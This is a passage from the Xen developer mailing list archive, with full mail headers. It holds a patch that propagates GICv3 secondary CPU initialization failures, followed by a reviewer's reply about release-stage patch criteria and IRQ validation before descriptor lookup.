Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi8LI-006d3h-4E
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:20:24 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50c75b-5cb7-0a2a0a5109dd-0a2a4508ad6a-20
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:20:24 +0200
Received: from [40.107.130.129]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a50c762-ee29-0a2a45080019-286b82814896-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:20:19 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by DU0PR03MB9633.eurprd03.prod.outlook.com (2603:10a6:10:42f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Fri, 10 Jul
 2026 10:20:10 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%4]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 10:20:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=GT/rGwVXF2z7ZmZnofrqW1bMcJN5cgqNgeSJRdmKRj5pfDQ8rOjJ1rAOu9Lirx6bwJWiaS25/TGBJheXZv2gJ0QuLmDzgOhb0fmjgq7q1gKqFdvlGiphHhIzwIHEah6Bp0NgqWNlVaEfnWLQg1km2IW3jD90VEcvLLnXbhaPk8ouiwSzAf4nVlfQL/rnge/dxsbfmTnc/TN1BRt5iWxLH9lo0oCAEUiK4e59bySgsTT2pfQuuNKPhCnidg4yDZamq1g87rG3DP4SlxK2xlkv6ZQ6Hhl2IexMVw3yMBQTIoPMHOU/Z6+TKQDa6bq4/Xqg3aNSDljJcSRQGQprqvdQxw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ks7QeJvMS/dwIBC7ym0JwWW1uyL/KECsuBfXfBQ1NfM=;
 b=Rye6eeD6ZFqGdH8uvwQu8LRsMnE437z/XBMWHzG3ueeKeWdy2dU+DH4ZoBNA1iGNfIk8+KwfAkV/pkSCDfUKNjDLQCJFyuXvkMdo3Onp6Y04R9zhm716VaG90dWDv0m4NAGi5kWfUXrG50HMSl6nXK0bYJoJOduAZxQ9UA9TQeqfzWvYYAotNXd8qA+Kx8t+WNqBo0YUF8n7UBgJROJxScJ34+jl9BNeVE9B3ynDC52ikQfoLnWj++NtfSKMRn4Zy3ViwRpQRjhefIiXd9Ef+bopfIzSHwnVBXw2R3tNN32Uqnoy0XFZ6qkYB4ZtNfPoef3P6G+lvItyKpmtp0i9XQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ks7QeJvMS/dwIBC7ym0JwWW1uyL/KECsuBfXfBQ1NfM=;
 b=POqaboA8YDBdi0uug/F4dOIjmYkB+gfobjR/41Qo4+PscIUk8mwpzGsc01uoaiGsqYxkuCa2dTsgwM7qWMg72Di0ldE1SOMX/ec6NxJYYs+Xyutpdd5DXQPffCK1TCK88jnO3rqibUG0Bd0GatZvjyM+xymKK+CHYtCa9lIegAfAJnA/+FPk9PpROsXdHwSGBLUfhafKOzKftGUdl3ggMm4gAAfeePTzhVCraZkoCnkHVRjrC8dV+ezUIZxDK7K+5vGcwzmJWcAO5p/YnPNxThh8VVyJGpjJPXV6xFxjJZwrSv1is1I7APVUODKDxBI9VWqVgaz19D2HjMTUEMT9mA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [PATCH for-4.22] xen/arm: propagate secondary GIC initialization failures
Date: Fri, 10 Jul 2026 13:20:01 +0300
Message-ID: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA2P291CA0039.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1f::25) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|DU0PR03MB9633:EE_
X-MS-Office365-Filtering-Correlation-Id: 28046916-6b2e-4589-a53e-08dede6cd255
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|56012099006|11063799006|6133799003|18002099003;
X-Microsoft-Antispam-Message-Info:
	/KIwVnzHM4uHTVH3ISUeeCT6NXIo+zcj63osZjyPOlK8fS6UfjndsUNcFbowW4nC8IzJ1OuIf3EOUsG+Qza1cOCnHfjBPvNGFypm3krSl2hGUyKU4TKakRrCM9mCyW/S+YLY6COf8BlYJ5KeA99MiRWpvGXuQC+mPf4e21t6WReWemwnKyWRFkseP0RVQVtnePfWuR9K5FgLfFHkLy6NX6CRmW8Ri08NBmheYAOAWLd4nkNLgZG7kNHF9VdVAitqtw+v7Dr78GKqzwvEbdt4pusXR0GLaUV80wAdz2l5usRXk+WAdSclSqaKU8gmi7G5mnWrXBr03P4A0Yot+OdCd27EQA3S5MmLYbr5jxkMvN48MubBUt+ryGz8NEGw+Pjpq/hrVgevC2AQn++gc0yw+t6jrNJV0Pe7WoTinAIwscEckRzrRhYsi2scWjRF709zRGulYBwID5X52qkdlrcmgWhPLCbVPW7AG8LIcU3QXldW83JYKkkO7VXN+ze6IjJKbuNFTnqWi/kYa81nhCeYH86ZAEh+QBqCxlqK8JTA3Ru000KMXJHM2G97iUjp+kHOLXKvMURGaiDCqdSI4IUUSroZwVQXnJjobGJiLVHpPY5BjAfjR4E1bmw8MRqO0ZySn//YhhE/AEh0TYwCidePBY5hp+Eb2JPUsNp4yY/F2xY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(56012099006)(11063799006)(6133799003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?0PUcMUKPk89nBaPK663VXvo7On0tLyJjf4wQ3lcYT0h10QV/ZPdxy1qFZXsp?=
 =?us-ascii?Q?CYvHOAA4HfLDucUdUC/3jnbOcsHTxD4TnNJhfRv/8PT9xPiqzmEBzzDmlqCj?=
 =?us-ascii?Q?gwtDeb77XQlntFeyQzCk9oFortP7qzGUEWlB1FEr2nYNz65B9NpFpF1fOdyd?=
 =?us-ascii?Q?MotnyjktxAmnGjigEFLPCsDplO40pkNMgxtbCaHqHdk7EPSTMwiEGnVcLh6o?=
 =?us-ascii?Q?rloC2vjiJ927LyolnDT9Ojdgwnk0xjBdIn/8B1K2qlc4N1Wo6qP+Nsoz0lU7?=
 =?us-ascii?Q?Q6LgZq0mUQEHY3VY8Elszs+8n7HNXGQ5o5jgk+n/xhcxMBjR05su6AfS7Uyj?=
 =?us-ascii?Q?mReU+Y6y+DPnqzTyHxz/1ILITf1va6mrm2y/3+OfbZE9d0BwnlFl28eeszyy?=
 =?us-ascii?Q?x36OfxsLJYMq42A0BEE7UV9vxJUk5w3GJYU57Oy/f0sOAL59JD4aDPKePpWw?=
 =?us-ascii?Q?FFwugWZQuHJcp6zf1+wNM/mfGQ3vAPO5zjjCuzntJuj3mVi0uhpwwK/JQbwP?=
 =?us-ascii?Q?r/XrT/24M02Vx8PwGhEpC9YyJqqjRQNPbyp69n3fZWy41hCdOeFXXfyeWJ0s?=
 =?us-ascii?Q?PAUAh8y9q99elfaR/C9GPaX5FTpERIqWlQxnPyf4ROdyhyF/kiotoetKTX9h?=
 =?us-ascii?Q?+7zsWr9VtJcyTx6gUkh8wx0jDE7LSuzF5GoXiu1OF7WekkIdvcw7EEh8I/aP?=
 =?us-ascii?Q?OapuN0Ow4yelc1G/8LeVy+ct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y9utUpFwB78UpOzQszjUjf?=
 =?us-ascii?Q?K+HOIMnObFPpyRjzbS1e7O0WFm+Xf9CssYfpg3BN6PV5/kfSiKVkV8WRRI05?=
 =?us-ascii?Q?LbuiNGsn6ptkWaur97Ci/Gcos9SlwiBv4BBU/u+ai+qo7u24Ehq/3xKjP8Zs?=
 =?us-ascii?Q?hWDhuflNrA=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 28046916-6b2e-4589-a53e-08dede6cd255
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 10:20:10.2414
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: gq2Yv86KsKQqwjB5Al+ad0UUSos6iG+9PHAI9VXB3Owzwul0zNhlET3odcVlA8BvIYqH7ZhzHn8DYX3balDunA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU0PR03MB9633
X-purgate-ID: tlsNG-c1860d/1783678824-7A62B01C-FA032E7F/0/0
X-purgate-type: clean
X-purgate-size: 2814

The GICv3 secondary_init() callback can fail while discovering or
waking a Redistributor, enabling LPIs, or setting up an ITS collection.
gic_init_secondary_cpu() currently discards that status. start_secondary()
then marks the CPU online even though its per-CPU GIC interface may be
unusable.

Return the callback status through the common GIC layer. Have
start_secondary() report the failure and stop the affected CPU before it
is added to cpu_online_map.

Fixes: bc183a0235e0 ("xen/arm: Add support for GIC v3")
Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 xen/arch/arm/gic.c             | 10 ++++++++--
 xen/arch/arm/include/asm/gic.h |  2 +-
 xen/arch/arm/smpboot.c         |  9 ++++++++-
 3 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
index ee75258fc3..078049e741 100644
--- a/xen/arch/arm/gic.c
+++ b/xen/arch/arm/gic.c
@@ -282,11 +282,17 @@ void smp_send_state_dump(unsigned int cpu)
 }
 
 /* Set up the per-CPU parts of the GIC for a secondary CPU */
-void gic_init_secondary_cpu(void)
+int gic_init_secondary_cpu(void)
 {
-    gic_hw_ops->secondary_init();
+    int rc = gic_hw_ops->secondary_init();
+
+    if ( rc )
+        return rc;
+
     /* Clear LR mask for secondary cpus */
     clear_cpu_lr_mask();
+
+    return 0;
 }
 
 /* Shut down the per-CPU GIC interface */
diff --git a/xen/arch/arm/include/asm/gic.h b/xen/arch/arm/include/asm/gic.h
index ff22dea40d..ee2c26adb4 100644
--- a/xen/arch/arm/include/asm/gic.h
+++ b/xen/arch/arm/include/asm/gic.h
@@ -291,7 +291,7 @@ extern void gic_preinit(void);
 /* Bring up the interrupt controller, and report # cpus attached */
 extern void gic_init(void);
 /* Bring up a secondary CPU's per-CPU GIC interface */
-extern void gic_init_secondary_cpu(void);
+extern int gic_init_secondary_cpu(void);
 /* Take down a CPU's per-CPU GIC interface */
 extern void gic_disable_cpu(void);
 /* setup the gic virtual interface for a guest */
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..5e23b0b6a9 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -319,6 +319,7 @@ smp_prepare_cpus(void)
 void asmlinkage noreturn start_secondary(void)
 {
     unsigned int cpuid = init_data.cpuid;
+    int rc;
 
     memset(get_cpu_info(), 0, sizeof (struct cpu_info));
 
@@ -373,7 +374,13 @@ void asmlinkage noreturn start_secondary(void)
      */
     update_system_features(&current_cpu_data);
 
-    gic_init_secondary_cpu();
+    rc = gic_init_secondary_cpu();
+    if ( rc )
+    {
+        printk(XENLOG_ERR "CPU%u: Failed to initialize the GIC: %d\n",
+               cpuid, rc);
+        stop_cpu();
+    }
 
     set_current(idle_vcpu[cpuid]);
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:45:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:45:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359084.1612851 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8j6-0007jh-CP; Fri, 10 Jul 2026 10:45:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359084.1612851; Fri, 10 Jul 2026 10:45:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8j6-0007ja-7z; Fri, 10 Jul 2026 10:45:00 +0000
Received: by outflank-mailman (input) for mailman id 1359084;
 Fri, 10 Jul 2026 10:44:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wi8j4-0007jU-Nq
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:44:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi8j3-0063XA-Qn
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:44:57 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50cd14-5cb7-0a2a0a5109dd-0a2a450b85be-44
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:44:57 +0200
Received: from [40.93.196.14]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a50cd28-b7da-0a2a450b0019-285dc40e1091-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:44:57 +0200
Received: from CH2PR03CA0024.namprd03.prod.outlook.com (2603:10b6:610:59::34)
 by PH7PR12MB6883.namprd12.prod.outlook.com (2603:10b6:510:1b9::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Fri, 10 Jul
 2026 10:44:51 +0000
Received: from CH2PEPF00000140.namprd02.prod.outlook.com
 (2603:10b6:610:59:cafe::2d) by CH2PR03CA0024.outlook.office365.com
 (2603:10b6:610:59::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.14 via Frontend Transport; Fri,
 10 Jul 2026 10:44:50 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CH2PEPF00000140.mail.protection.outlook.com (10.167.244.72) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 10:44:50 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 05:44:50 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 03:44:49 -0700
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 05:44:48 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fdNPB9z/iPrbhkh9Kl+qzpTWijq/Ny3FwTLwQiNKenQEebbfUfa4AHO9KxRsDijoyIEsDDLh3ZfKjqCxM3kbF45rO7/Snz1CglzfuVbkrFfCXibBDOOUDj62CmGWEoJgu5BB/aWrBFCuAW+pLhhJ68IF4YICgfMbGJl6tVPk6NYO+uxeutmmTvGPzbu9GdFEdCIXJEohD/WwtSLez0asxMJFl26xCfDwQuM0o4HuKwGPlwRrzDwjGe+Fj8oK3mUYDdx48HC3et0VqstBsD/8ovTaUw+lV/Rs36Rg7Yq8wJMBxtrWTlhojDYJtJ19pnL582QiF2Oozan2HscJ7qTetQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=MKsRINZ6Eyzi7RD09UzW/pgaKIm+QtXBbhrXSHvQYdo=;
 b=kYgISARNwdLAF192fBCiJY1OzuVF/YPf3l4v64sW8z67HnqFDXqw71lgsbHGJ6h0FYR7T6QR3YdV+yVWBI0USaN4kLk6bVniBhiRIKbdYCxfkuIjZZPE+BNxZt4KCL/Iebf+3buo55XL6HE4SfkzmzgDA/AowQ4eEZvZM7PaoJD8VCTsfSaidU/6Y0189buDKA2+IudAZWHAX/GgjnmJmPa6/RGp3RDKwFPweJ8AAMvx6os4+tAftYFEhwKgWzvBlLiMw3kFtIaZp4DWS8uHk/UH9vOprWnDIk1EYXVajhHY7KJyNIx0y2T/zPSGLbOfqhpIkd5U1Ke0kISKmESjFw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=MKsRINZ6Eyzi7RD09UzW/pgaKIm+QtXBbhrXSHvQYdo=;
 b=WMe3/642k+HKGbWJL+J39dgJv2RAuqs4KrtaiAChqL8SXD4Uvid0IFPhcUgqEYoNKdqiaX6UL78SiqUOr+LFaoxXGtdBsADGIIdytzgbBfh01MKvl/8jQ92CkVUfno7Ep//s+8S94fTlxlu4zabQdk5Tj+gM+Hh9IeDjnaDvo50=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
Date: Fri, 10 Jul 2026 12:44:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
From: "Orzel, Michal" <michal.orzel@amd.com>
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
Content-Language: en-US
In-Reply-To: <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF00000140:EE_|PH7PR12MB6883:EE_
X-MS-Office365-Filtering-Correlation-Id: 52a277e5-bb9a-42cc-c063-08dede7044c3
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|36860700016|1800799024|23010399003|82310400026|18002099003|22082099003|11063799006|4143699003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	dB9gJ9i7cbWWUZOtDdxzQ0CaStlRrK+n9U7LlFbaXrX3XUdAcrO+B/tNrME5Uv8LYw9AAoYUxfU+V0b2jSJQK7cfjzJg6VRiYTNBXOMnBTEDzI8thj+thC87CBMHkszBwWis+qMZF3Kg+Tb/rx0+fCKDDCMvwgoYWbjAjIg6lOw2aKVR9wiOnjmmOS1tzKMs8Z0TB9kuwumRR2AcaXjRuVBdkjuSFRss7lOPRm/AOfIskohwIEj/zp8RYuTGcKUL5WgSC+rbNvmcBJdtQ9N2WE4oBFeJ80FB6SOPdmRK/6AhoWpLJZjg43q8es/3LCp4hE1aOK6hoiwFV4d9wZP+APN/li470gRf9beJHkK8D5vPJ6Jfc0ldhmjsavgA4amRmE5WbebWL3CH4p2HkBjBxFsMjR1XsOuAN1bh+gkQE9kqGAY/P3AkLwZ4S5iUYJYyal65EX1G4gvH4HBhBtb05tF4LulkgCNktaJClzTqIa82tJw5ov2CGgdVvRXVj+A9uSVcL5mUO4HFOxDMlRLbs4i6LEbonMPgYsv3jjJLicDQ7pyrwGCk0N45dMGXzjKfq9vmENBg7nU73TUDwEFO+PTTAEqqurKFh1uEJN9Ws6UknwPgsE+C5yBdcf6c5AyND93GNI8xPHC4Dhd//sQScFG6s1+v4CRY+WSb7T9Oorue807HcEITm7EIc4bCU0FNymieM9Rtp0WhnHiSmTr7MA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(36860700016)(1800799024)(23010399003)(82310400026)(18002099003)(22082099003)(11063799006)(4143699003)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	8XEMOz/97uHZxgayY4iSO5QxADmFye4oI3/7lEihQIXGq5mObnsx6fQ2ibnHxJgaPmjPJyJxs4Y5+mK9f/OP2FIQsHsI8v61/pE3n90qVwrxzY+yiGIMMbd0Kc0Lu50XQnmjZQc2Me7S/VIcxBHEoiGewgoiDFniqka/yJsIs+Q5u0rmVPiN+cgrLryBY8KWKGsA73A6qU57N5qTQ/jmNVwZbPeeQl5Y7GipmIlOPG44UPdXnmUyIbpIdet1AwSAEm9lMc2Jw9jO72qEQzPneHtIyRwo34H65HhLFL6qUPW4AXDPH0Vd39PltKIGRtIxYAJmFnFHchFDtSRoDdnHOztL+EXDzhZV7lZ8tJ0VhrdLgAkiAEnSPME94xJjAHFz9a02i6yzM2neow3RZz/Sb9evrpHFZSZnmVWthA8WZq+KrxISFYWRBWKypwg+lGaD
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 10:44:50.4035
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 52a277e5-bb9a-42cc-c063-08dede7044c3
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH2PEPF00000140.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB6883
X-purgate-ID: tlsNG-42698a/1783680297-A11D69ED-663689FE/0/0
X-purgate-type: clean
X-purgate-size: 3675

On a tangent note:
I can see that you pushed quite a few "for-4.22" patches. We are approaching the
release, so afaict at this point we should only be taking crucial bug fixes.
Moreover, when sending "for-X" patches, please include a description with your
analyzed pros/cons of taking a patch in.

~Michal

On 10-Jul-26 12:10, Orzel, Michal wrote:
> 
> 
> On 10-Jul-26 10:31, Mykola Kvach wrote:
>> With GICv3 eSPI support, nr_irqs covers the architectural INTID
>> namespace up to ESPI_MAX_INTID. That namespace is not backed by a
>> single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
>> espi_desc[], and the INTIDs in between must not be treated as
>> descriptor indices.
>>
>> A firmware-provided interrupt in the sparse range can therefore pass
>> checks based only on nr_irqs and reach irq_to_desc().
> What are the possible consequences? You should explain it in the commit msg.
> Also, what is your criteria behind protecting irq_to_desc()? There are other
> places, where we have unprotected irq_to_desc(). Last but not least I think we
> should have an ASSERT in __irq_to_desc() to prevent the indexing failure if we
> end up there with a sparse IRQ accidentally.
> 
> The change itself looks ok.
> 
> ~Michal
>>
>> Validate IRQs with the GIC line helpers before looking up descriptors
>> in setup_irq(). Also validate SPI type configuration with gic_is_spi()
>> before irq_set_spi_type() obtains the descriptor, covering the
>> platform_get_irq() -> irq_set_type() path. The route-to-Xen assert
>> becomes redundant because setup_irq() now rejects invalid IRQs before
>> routing.
>>
>> Fixes: 98f7060b9ed ("xen/arm/irq: add handling for IRQs in the eSPI range")
>> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
>> ---
>>  xen/arch/arm/gic.c | 2 --
>>  xen/arch/arm/irq.c | 9 +++++++--
>>  2 files changed, 7 insertions(+), 4 deletions(-)
>>
>> diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
>> index ee75258fc3..ed9870c1bd 100644
>> --- a/xen/arch/arm/gic.c
>> +++ b/xen/arch/arm/gic.c
>> @@ -111,8 +111,6 @@ static void gic_set_irq_priority(struct irq_desc *desc, unsigned int priority)
>>  void gic_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
>>  {
